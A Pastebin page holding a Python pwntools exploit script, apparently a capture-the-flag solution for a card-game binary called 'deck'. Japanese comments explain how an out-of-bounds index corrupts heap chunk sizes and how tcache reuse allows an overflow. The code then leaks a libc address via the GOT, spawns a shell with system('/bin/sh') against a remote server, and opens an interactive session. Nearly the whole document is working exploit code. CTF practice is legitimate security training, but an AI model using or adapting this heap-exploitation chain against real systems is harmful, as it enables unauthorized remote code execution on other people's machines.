Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # yaru
- # main.cの57行目でjが範囲外になる可能性がある
- # strdupで確保したチャンクのmchunk_sizeが書き換えられる
- # mchunk_sizeが0x101などになると、1回目のchange_nameでサイズ0x100のtcacheに追加される
- # 2回目のchange_nameでtcacheから確保され、オーバーフロー可能になる
- # game->shuffleとgame->deckを書き換え、libcのアドレスをリークする
- # 同じようにして、system("/bin/sh")
- from pwn import *
- context.arch = 'amd64'
- elf = ELF("./deck")
- libc = ELF("./libc.so.6")
- def play(suit, num, ret=False):
- r = None
- p.sendlineafter(b'> ', b'1')
- if ret:
- p.recvline()
- r = p.recvline(timeout=0.1)[:-1]
- p.sendlineafter(b': ', str(suit).encode())
- p.sendlineafter(b': ', str(num).encode())
- return r
- def change_shuffle(choice):
- p.sendlineafter(b'> ', b'2')
- p.sendlineafter(b': ', str(choice).encode())
- def change_name(name, size):
- p.sendlineafter(b'> ', b'3')
- p.sendlineafter(b': ', str(size).encode())
- p.sendlineafter(b': ', name)
- while True:
- try:
- p = remote("34.170.146.252", 62318)
- change_shuffle(2)
- play(1, 1)
- change_name(b'A'*0x10, 0x10)
- change_name(
- flat(
- b'A'*0x20,
- elf.plt.puts, elf.got.free,
- )[:-1],
- 0xf0,
- )
- libc.address = u64(play(1, 1, True).ljust(8, b'\0')) - 0xa53e0
- print(hex(libc.address))
- change_name(b'B'*0x10, 0x10)
- change_name(
- flat(
- b'B'*0x20,
- libc.sym.system, next(libc.search(b'/bin/sh\0')),
- )[:-1],
- 0xf0,
- )
- p.sendlineafter(b'> ', b'1')
- p.recvline()
- p.sendline(b'echo asdf')
- if p.recvline() == b'asdf\n':
- p.interactive()
- except KeyboardInterrupt:
- p.close()
- break
- except:
- p.close()
Add Comment
Please, Sign In to add comment